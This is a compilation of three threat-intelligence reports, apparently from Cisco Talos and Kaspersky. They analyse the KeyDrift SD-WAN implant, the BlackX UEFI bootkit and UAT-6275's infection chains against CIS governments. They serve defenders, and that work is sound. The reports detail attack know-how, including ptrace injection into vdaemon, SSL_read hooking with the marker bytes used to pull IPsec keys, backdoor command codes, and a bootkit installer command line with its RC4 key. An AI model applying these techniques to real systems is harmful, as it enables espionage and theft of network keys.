    Inside KeyDrift: Analyzing historical UAT-11473 activity on Cisco SD-WAN

    Talos assesses with high confidence that UAT-11473’s operating infrastructure overlaps considerably with Volt Typhoon’s “Silent Train” covert access network.

    KeyDrift is a custom malware framework that is designed to operate in Cisco SD-WAN controller environments. Talos assesses with high confidence that the framework is designed to provide long-term persistent access and automated exfiltration of sensitive keying material. KeyDrift operates inside SD-WAN control-plane processes and is capable of intercepting decrypted control traffic, extracting control-session metadata and data-plane keying material, and staging or transmitting the collected material using encrypted records.

    The framework’s primary component is PolyFlame, a memory-resident module deployed through modified runit service paths. PolyFlame is injected into legitimate running vdaemon processes, and it can also masquerade as a packed “aaamgrd” loader variant. Once resident, PolyFlame interposes socket, DTLS, and runtime-linker behavior through functions such as recvfrom, sendto, getpeername, dlopen, dlsym, mprotect, and “/proc/%d/maps” parsing. This gives KeyDrift access to SD-WAN control-plane traffic from inside legitimate controller daemon execution rather than through a conventional endpoint beacon.

    LittleFilch, another component of the KeyDrift framework, provides the collection and exfiltration capability identified in the framework. The module hooks “SSL_read” inside vdaemon, inspects decrypted control-plane buffers, extracts keying material for a list of predefined edge nodes, and stages the data locally in encrypted format for exfiltration.

    Talos assesses with high confidence that KeyDrift’s intended operational purpose is Cisco SD-WAN control-plane collection: persistent controller residence, in-band traffic access, key-material extraction from decrypted control messages, and encrypted staging or exfiltration of the recovered material. Observed variations of the KeyDrift modules and deployment mechanisms suggest active development of the framework’s capabilities.

    KeyDrift analysis

    KeyDrift uses Cisco SD-WAN runit service paths as its primary execution anchor. In the PolyFlame sshd deployment, the actor modifies the service run script, remounts /rootfs.rw executable, launches a malicious script “conf_sshd” in the background, and then starts the legitimate sshd service. The loader script enumerates running vdaemon PIDs, records them in “/tmp/system-vdaemon”, and invokes the injector component “rsshd” to inject PolyFlame (“libdssl.so”) into each process.

    Recovered conf_sshd logic uses the same control flow across reviewed samples:

    Inside KeyDrift: Analyzing historical UAT-11473 activity on Cisco SD-WAN
    Figure 1. conf_sshd control flow logic.

    Runit launchers

    The observed sshd runit launcher preserves normal Cisco SD-WAN sshd startup logic while adding two malicious lines before service execution, which remount “/rootfs.rw” executable and background execution of conf_sshd, which then drives rsshd injection into vdaemon.

    Inside KeyDrift: Analyzing historical UAT-11473 activity on Cisco SD-WAN
    Figure 2. conf_sshd execution logic.

    The recovered aaamgr runit launcher from an affected vBond appliance uses a parallel service-wrapper pattern, but it executes the packed aaamgrd PolyFlame loader directly. The deletion of the writable-overlay PAM configurations for sshd and login before remounting “/rootfs.rw” executable if part of the legitimate script, along with the invocation of the aaamgrd daemon via Python:

    Inside KeyDrift: Analyzing historical UAT-11473 activity on Cisco SD-WAN
    Figure 3. aamgrd daemon launch.

    PolyFlame

    PolyFlame is the primary operational module in the KeyDrift framework. PolyFlame operates at the socket and DTLS control-plane layer. PolyFlame serves two primary purposes:

    • Command execution via a TinyShell-styled backdoor
    • Intermediate C2 that can forward commands to and from the C2 to other peers

    PolyFlame is primarily injected into the vdaemon process, providing operational obfuscation and access to all in-process state: DTLS session keys, vEdge topology, OMP routes, and policy tables. No hardcoded IPv4 addresses, binding ports, callback domains, URLs, host headers, or polling interval were recovered from the analyzed PolyFlame samples. PolyFlame is designed for in-band control or tasking over Cisco SD-WAN control-plane traffic rather than a conventional fixed external beacon.

    This implant is meant to serve as a hook of the recvfrom() API call. The original recvfrom is replaced by a malicious subroutine in the vdaemon process. When recvfrom is called in the vdaemon process, the malicious subroutine will first execute the real/legitimate recvfrom() API to obtain the C2 IP address info for communicating with it in the future.

    PolyFlame’s time check

    The recvd data from the C2 consists of the MD5 value of a specific DATE. PolyFlame will calculate the local time on the device in format “%Y-%m-%d” and calculate its MD5 hash. If the MD5 calculated by the device does not match with the one sent by the C2, the implant will stop further execution. Otherwise, the implant then uses an “administrative code” from the C2 and performs an action.

    PolyFlame’s tasking

    PolyFlame contains an administrative mode that processes the admin code sent by the C2, that defines operations — it’s one of the first flags checked in the backdoor:

    • Code = 1: Generate random bytes and send to C2. This is likely a check-in beacon or heartbeat for the C2.
    • Code = 2: Set implant type to backdoor (TinyShell) or intermediate C2.
    • Code = 3: Set up the command handler for the intermediate C2.
    • Any other code value: Check the implant type flag currently set. Based on the implant type flag, either send the accompanying data to TinyShell or the intermediate C2 component for processing.

    PolyFlame’s command execution

    PolyFlame contains a backdoor that matches the capabilities of TinyShell: file read, file write, and arbitrary command execution, but not interactive shell. This backdoor component’s implementation is quite similar to TinyShell, but the command codes differ. PolyFlame handles the following command codes:

    • Code = 0x100: Execute command using “/bin/sh -c <command>”
    • Code = 0x200: Write file to disk.
    • Code = 0x300: Read file from disk and send to the C2.

    PolyFlame as an intermediate C2 component

    The intermediate C2 component is a one-to-many handler (somewhat like a one-to-many multiplexer) — meaning the implant can connect to only one C2 but can connect to many peers who can be served by the intermediate C2 component. Similar to the TinyShell-backdoor component, the intermediate C2 component also accepts and processes specific command codes from the C2:

    • Code = 0x403: Create a thread to connect to the specified peer IP. Make a new connection and keep socket alive until specified.
    • Code = 0x404: Send data recvd from the C2 to a connected peer.
    • Code = 0x405: Remove a peer from the list of active connections.
    • Code = 0x407: Send a response recvd from a peer, back to the C2.
    • Code = 0x408: Set a specific value in memory.

    PolyFlame variant: aaamgrd

     Talos has observed a distinct PolyFlame variant that masquerades as the aaamgr service. The legitimate Cisco aaamgr component is a Python package; it does not normally appear as a compiled ELF runit service. This PolyFlame variant is executed by a malicious runit service under “/etc/sv/aaamgr/” with aaamgrd and a modified run launcher.

    aaamgrd is a statically linked ELF64 executable with no section headers, a single RWE loader segment, and an RC4-encrypted embedded ELF payload. The loader uses direct syscalls including ptrace, fork, wait4, kill, tgkill, mmap, and mprotect. It performs an anti-debug check by deobfuscating /proc/%d/status and TracerPid: and exits if a tracer is present.

    The observed staging sequence was:

    Inside KeyDrift: Analyzing historical UAT-11473 activity on Cisco SD-WAN

    Figure 4. PolyFlame staging sequence.

    Note that in addition to the implant execution staging, there are also indications of timestomping.

    LittleFilch: libcommon.so TLS interception module

    LittleFilch is a control-session interception module positioned to collect data-plane keying material from control sessions visible to the injected vSmart process.

    LittleFilch installs an SSL_read hook inside vdaemon. The hook calls the original SSL_read, then processes returned buffers only when the returned size is greater than 0x18F, the first decrypted byte is 0x07, and three marker patterns are checked for presence. These marker bytes are followed by the actual artifacts that LittleFilch aims to record:

    Marker bytes

    Parsed field

    Length

    Notes

    40 03 06

    Public IP

    4 bytes

    vEdge
    public / transport IP

    40 0C 04

    Peer
    system-IP

    4 bytes

    vEdge OMP
    system-IP

    05 01 0C
    06 40

    Binary
    key field

    32 (0x20)
    bytes

    Assessed
    OMP-distributed AES-256 IPsec data-plane key material

    LittleFilch records the extracted keying material and RSA-encrypts it before writing the output to “/var/tmp/vdaemon.bin”. It can then send the encrypted content over UDP in a DTLS 1.2 application-data style record.

    Inside KeyDrift: Analyzing historical UAT-11473 activity on Cisco SD-WAN
    Figure 5. Keying material recording format used by LittleFilch.

    LittleFilch expects its configuration file — located at “/var/tmp/vdaemon.conf” —  to contain two host port lines: one local bind IP/port and one remote destination IP/port. It deletes “/var/tmp/vdaemon.conf” after reading it. Talos has not been able to recover the “vdaemon.conf” file.

    KeyDrift components

    Component

    Primary hook/surface

    Observed scope

    Confirmed
    function

    PolyFlame
    libdssl.so

    Socket /
    DTLS / runtime linker interposition inside vdaemon

    Multiple
    affected controller roles

    In-band
    control-plane interception and tasking; exact command format unresolved

    rsshd

    Ptrace
    injection

    Multiple
    affected controller roles

    Injects
    libdssl.so into vdaemon by PID

    conf_sshd

    Shell-based
    PID enumeration

    Multiple
    affected controller roles

    Locates
    vdaemon PIDs and records injection output

    Trojanized
    run

    Runit
    service launcher

    Multiple
    affected controller roles

    Remounts
    overlay executable and launches injector chain

    Packed
    aaamgrd

    Packed
    loader, direct syscalls, anti-debug

    Affected
    vBond appliance evidence

    Decrypts
    and runs embedded PolyFlame payload; tampers with PAM configs

    LittleFilch
    libcommon.so

    OpenSSL
    SSL_read hook

    Affected
    vSmart process evidence

    Extracts
    control-session identifiers and assessed data-plane key material from
    decrypted control traffic

    vdaemon.bin

    Encrypted
    staging file

    Affected
    vSmart process evidence

    Stores
    RSA-encrypted LittleFilch telemetry records

    vdaemon.conf

    Runtime
    endpoint config

    Affected
    vSmart process evidence

    Supplies
    local and remote UDP endpoint configuration; deleted after read

    MITRE ATT&CK techniques 

    Technique

    ID

    Notes

    Process
    Injection: Ptrace System Calls

    T1055.008

    rsshd
    injects libdssl.so into vdaemon by PID

    Hijack
    Execution Flow: Dynamic Linker Hijacking

    T1574.006

    PolyFlame
    uses dlsym(RTLD_NEXT, …), dlopen, and runtime interposition

    Boot or
    Logon Initialization Scripts

    T1037

    Modified
    runit service scripts launch KeyDrift components

    Create or
    Modify System Process

    T1543

    Malicious
    service paths under etc/sv/sshd/ and etc/sv/aaamgr/

    Masquerade
    Task or Service

    T1036.004

    sshd and
    aaamgr service-name masquerading

    Unix
    Shell

    T1059.004

    conf_sshd
    and recovered operator staging commands

    Software
    Packing

    T1027.002

    aaamgrd
    uses packed embedded ELF payload

    System
    Checks

    T1497.001

    aaamgrd
    checks TracerPid before unpacking

    Timestomp

    T1070.006

    touch
    –reference= and chmod –reference= staging commands copied reference file
    metadata

    Network
    Sniffing

    T1040

    PolyFlame
    and LittleFilch intercept SD-WAN control-plane traffic

    Encrypted
    Channel: Symmetric Cryptography

    T1573.001

    PolyFlame
    AES implementation; aaamgrd RC4 packer; LittleFilch RSA-encrypted records

    Recommendations

    Cisco has released patches for CVE-2026-20127 and published a hardening guide for Cisco Catalyst SD-WAN deployments available here. Organizations are strongly advised to prioritize the application of these patches and follow the guidance provided.

    Following the identification of UAT-11473 activity, Talos strongly recommends that organizations monitor their systems for indicators of post-compromise activity. Should any signs of unauthorized activity be detected, organizations should immediately activate their incident response frameworks. Contact the Cisco Technical Assistance Center (TAC) for support by initiating a TAC request.

    Coverage

    Snort SIDs are already available for CVE-2026-20127: 65938, 65958.

    Snort SIDs for the malicious artifacts illustrated in this blog:

    • Snort v2: 67387 through 67416
    • Snort v3: 7:44 through 7:73

    Source: Cisco Talos Intelligence · 2026-10-28

  • How APT41 revived the BlackLotus bootkit to attack diplomatic organizations in Central Asia

    How APT41 revived the BlackLotus bootkit to attack diplomatic organizations in Central Asia

    Introduction

    Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal had been advertising a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.

    BlackLotus advertisement

    BlackLotus advertisement

    However, about half a year later, in March 2023, ESET confirmed that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.

    Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.

    The return of the infamous bootkit

    In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.

    Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:

    • inst.exe, an installer executable
    • PVMDIJGKAX2, an RC4-encrypted extensionless file containing files and strings required for the installation

    The installer was launched with the command line C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1. The last argument here is the RC4 key used for decryption.

    Curiously, the file inst.exe does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside PVMDIJGKAX2, which makes it harder for incident responders to retrieve the bootkit components.

    The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.

    While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.

    Payload launched by the bootkit

    The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.

    The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.

    The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to calc.exe instead of a malicious file handle.

    User-mode second-stage payloads

    Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:

    File suffix Description Type
    0X01 A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module Input
    0X02 Result of the call TEST.Class1.RunCMD(argument_array) Output
    0X03 Task to upload a file to the drive Input
    0X04 Uploaded file Output
    0X05 Task to download a file to an infected machine Input
    0X06 File download status Output
    SSSR Contains initial system info Output

    We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file googleupdate.exe (original filename: jcef_helper.exe, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file v8_context_snapshot.bin, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the www[.]archivetj[.]com C2 server. During communication, this payload is supposed to receive DLL files exporting a function named create_plugin, which are then executed in separate threads.

    Attribution

    Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:

    • In June 2026, ESET published a blog post on attacks by the FishMonger threat actor, which the community assumes to be related to APT41. This post describes a kernel implant with a PDB path starting with C:\Users\xdd\Desktop. While describing the campaign, the post also suggests the possible use of an unspecified UEFI bootkit component, which might exploit CVE‑2023‑24932. We observed the identifier “xdd” used multiple times in the BlackX bootkit payloads, so we assess that BlackX is the UEFI bootkit referenced in the ESET blog post;
    • The payloads deployed by BlackX are loaded using a legitimate executable abused via DLL sideloading, and an encrypted file — this pattern is common among Chinese-speaking threat actors;
    • The OxiDLLRunner file has been obfuscated with OLLVM, an obfuscator commonly used by Chinese-speaking actors.

    Why did the target organizations get infected?

    During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.

    Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to trigger it manually. This is done with the following steps:

    • A registry flag is set inside HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secureboot;
    • A scheduled task named Secure-Boot-Update is created.

    This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.

    Curiously, Microsoft’s plan for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.

    It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.

    Conclusion

    Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the ToolShell vulnerability that also had to be applied manually.

    However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the Exploit Prevention component available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.

    Source: Securelist (Kaspersky GReAT) · 2026-10-22

  • Break the silence: Kazakhstan-nexus UAT-6275 targets CIS government organizations

    Break the silence: Kazakhstan-nexus UAT-6275 targets CIS government organizations

    Break the silence: Kazakhstan-nexus UAT-6275 targets CIS government organizations

    This research was conducted jointly with Julian-Ferdinand Vögele of Recorded Future’s Insikt Group. Details of the joint research and presentation are available here.

    • Cisco Talos identified UAT-6275 (TAG-193 by Recorded Future) activity targeting government organizations across the Commonwealth of Independent States (CIS). Recovered artifacts show additional interest in water resources and energy. This focus is consistent with intelligence collection and may reflect the regional effects of the Russia–Ukraine war. 
    • In activity observed from June 2025 through August 2026, Talos identified four infection-chain types that use macro-enabled documents, PS2EXE downloaders, GitHub-hosted PowerShell, and a crafted WinRAR archive exploiting CVE-2025-8088. The recovered payloads include several custom reverse shells that provide interactive remote access. 
    • Three publicly accessible staging directories and GitHub repository history exposed payload builds, tool inventories, and changes to command-and-control (C2) infrastructure. These operational security lapses gave us direct visibility into the group’s recent activity. 
    • The files recovered from the exposed infrastructure suggest preparation for post-compromise operations and potential activity against Linux hosts and internet-facing appliances.  
    • Talos assesses with medium confidence that UAT-6275 has a Kazakhstan nexus, based on infrastructure access, language artifacts, sample submissions, working hours analysis, and regional targeting interests.

    Background 

    Cisco Talos and Recorded Future Insikt Group jointly investigated UAT-6275 activity targeting government organizations across the Commonwealth of Independent States (CIS). The investigation uncovered three publicly accessible staging directories and a previously unreported GitHub repository used to host malicious scripts and payloads. These exposed assets provided visibility into the threat actor’s malware development, infrastructure changes and preparations for additional intrusion activity. 

    Talos tracks this activity as UAT-6275, while Recorded Future tracks it as TAG-193. It overlaps with Silent Lynx (first reported by Seqrite) and sits within a broader set of campaigns connected to YoroTrooper, which we first reported in 2023. Subsequent research on Tomiris (Kaspersky), ShadowSilk (Group-IB), Cavalry Werewolf (BI.ZONE), and Hydra Saiga (VMRay) identified overlapping indicators across these reported clusters. We assess that UAT-6275 and YoroTrooper likely belong to the same broader activity cluster. However, we continue to track them separately because we have not observed direct indicator or toolset overlap between the two.

    This post summarizes our joint Virus Bulletin 2026 white paper, “Break the silence: tracking Silent Lynx through exposed infrastructure” which contains the full technical analysis and indicators of compromise (IOCs).

    Victimology 

    UAT-6275’s targeting is concentrated in Central Asia and the wider CIS region. Across the reviewed campaigns, observed victims and lure themes span nine countries: Kazakhstan, Kyrgyzstan, Tajikistan, Turkmenistan, Uzbekistan, Armenia, Azerbaijan, Russia, and Belarus.

    Break the silence: Kazakhstan-nexus UAT-6275 targets CIS government organizations
    Figure 1. Regional targeting.

    Government and diplomatic affairs 

    UAT-6275 targets government institutions responsible for diplomacy, economic development, agriculture, and environmental management. These organizations hold information that can inform bilateral negotiations, economic planning, and regional security decisions.

    Our network flow analysis identified activity involving a Tajik government entity shortly after treaty discussions with Kazakhstan in March 2026 and a Belarusian government entity ahead of a bilateral meeting in April. This timing may indicate an interest in regional diplomatic developments.

    The decoy documents we recovered also suggest an interest in diplomatic relations, international trade, and aviation. Examples include a diplomatic letter addressed to Armenia’s Ministry of Foreign Affairs.

    Break the silence: Kazakhstan-nexus UAT-6275 targets CIS government organizations
    Figure 2. Lure document masquerading as a Russian diplomatic congratulatory letter to the Armenian Ministry of Foreign Affairs. 

    Water security and resource management 

    The group’s interest in regional resources spans environmental management and energy. Talos observed activity involving an Armenian government entity responsible for environmental matters and Uzbekistan’s Smart Forestry initiative, consistent with earlier reporting on Silent Lynx targeting water resource organizations across Central Asia. 

    Energy-themed decoys included a cooperation proposal between Turkmenistan’s state oil company, Turkmennebit, and Russia’s Orsk Oil Refinery, used in an August 2025 sample. The refinery supplies petroleum products to Kazakhstan and later shut down after a Ukrainian drone strike in August 2026, with repairs expected to take up to six months. These ties suggest a possible intelligence interest in regional fuel supplies and the war’s implications for Kazakhstan’s energy security.

    Break the silence: Kazakhstan-nexus UAT-6275 targets CIS government organizations
    Figure 3. Decoy impersonating Turkmennebit and proposing cooperation with Orsk Oil Refinery management.

    Campaign timeline 

    Since Seqrite first reported Silent Lynx in January 2025, we have identified at least eight campaigns across the region through May 2026. These include malware delivery targeting Russia, Turkmenistan, and Uzbekistan; a credential-harvesting site impersonating Azerbaijan’s State Agency for Public Service; and lures referencing the China–Central Asia Summit and Russian energy infrastructure. In 2026, we also observed activity involving government entities in Tajikistan, Armenia, and Belarus, as well as Uzbekistan’s Smart Forestry initiative in May. 

    Break the silence: Kazakhstan-nexus UAT-6275 targets CIS government organizations
    Figure 4. Campaign timeline. 

    Infrastructure and malware delivery 

    Talos identified three publicly accessible staging directories containing malware and tools of UAT-6275. One sample led to the previously unreported GitHub repository, where the group hosted PowerShell scripts and payloads. Its commit history allowed us to track infrastructure changes and malware development.

    The group relies on lightweight reverse shells, including Chvost, Laplas, and PickleShell, to issue commands on compromised systems.

    We also recovered Linux-compatible tooling and a publicly available proof-of-concept exploit for FortiWeb CVE-2025-25257 from UAT-6275 infrastructure. These findings suggest interest in expanding the group’s operational capabilities. 

    Four infection chains 

    UAT-6275 used malicious documents, executable downloaders, and shortcuts to deliver malware, and later incorporated a WinRAR exploit. Talos categorized the recovered samples into four infection chains, A – D, based on how they retrieve and execute their payloads.

    Break the silence: Kazakhstan-nexus UAT-6275 targets CIS government organizations
    Figure 5. First observations of four UAT-6275 infection chains, June 2025 – April 2026.

    The first Chain A samples, observed in June 2025, used macro-enabled Word documents to download and execute a second-stage binary. In July 2025, we observed Chain B downloaders built with PS2EXE, a tool that packages PowerShell scripts as standalone Windows executables. These downloaders retrieved reverse-shell payloads and created scheduled tasks for persistence. 

    We first observed Chain C in October 2025. A malicious shortcut launches PowerShell to retrieve and execute a GitHub-hosted script that provides remote shell access. Later samples also downloaded PickleShell and placed it in the Windows Startup folder for persistence.

    Break the silence: Kazakhstan-nexus UAT-6275 targets CIS government organizations
    Figure 6. Chain C retrieves a GitHub-hosted PowerShell script; later samples also deploy PickleShell to the Startup folder.

    In April 2026, we identified a RAR archive that exploited CVE-2025-8088 in WinRAR to place PickleShell in the Windows Startup folder (Chain D). The payload runs at the next user sign-in. This was the first vulnerability exploit we observed in UAT-6275’s malware delivery.

    Break the silence: Kazakhstan-nexus UAT-6275 targets CIS government organizations
    Figure 7. Chain D exploits CVE-2025-8088 to place PickleShell in the Windows Startup folder for execution at the next sign-in.

    Kazakhstan nexus assessment 

    Talos assesses with medium confidence that UAT-6275 has a Kazakhstan nexus. Supporting evidence includes Russian-language artifacts, apparent malware-testing submissions from Kazakhstan shortly after compilation, and operator activity consistent with UTC+5 working hours.

    Break the silence: Kazakhstan-nexus UAT-6275 targets CIS government organizations
    Figure 8. Timing of 77 GitHub commits in UTC+3 and UTC+5, with 09:00–18:00 local working hours shaded.

    Looking ahead 

    UAT-6275’s sustained activity and adoption of new delivery techniques suggest the group will continue pursuing access to government organizations across Central Asia and the CIS. Its interest in environmental agencies, economic ministries, and energy infrastructure reflects the intelligence value of regional diplomacy and resource management. 

    Defenders in these sectors should monitor unexpected PowerShell activity and payload downloads from public services such as GitHub, alongside scheduled tasks and Startup-folder changes. Keeping archive utilities patched can help reduce exposure to the exploit-assisted delivery observed in this campaign. 

    For further details on this research and our accompanying presentation, see “Break the Silence: Tracking Silent Lynx Through Exposed Infrastructure” on Virus Bulletin’s website, as well as Recorded Future’s related blog post.

    Coverage 

    The following ClamAV signatures detect and block this threat: 

    • Win.Backdoor.PickleShell-10060602-0 
    • Win.Backdoor.Chvost-10060603-0 
    • Win.Malware.Generic-10060604-0 
    • Win.Malware.LAPLAS-10060605-0 
    • Win.Malware.LAPLAS-10060606-0 
    • Win.Proxy.Generic-10060628-0 

    The following Snort rules cover this threat: 

    • Snort 2: 1:11192, 1:15306, 1:46983, 1:47398 
    • Snort 3: 1:46983, 4:16 

    IOCs

    IOCs for this research can be found at our GitHub repository here. 

    Source: Cisco Talos Intelligence · 2026-10-14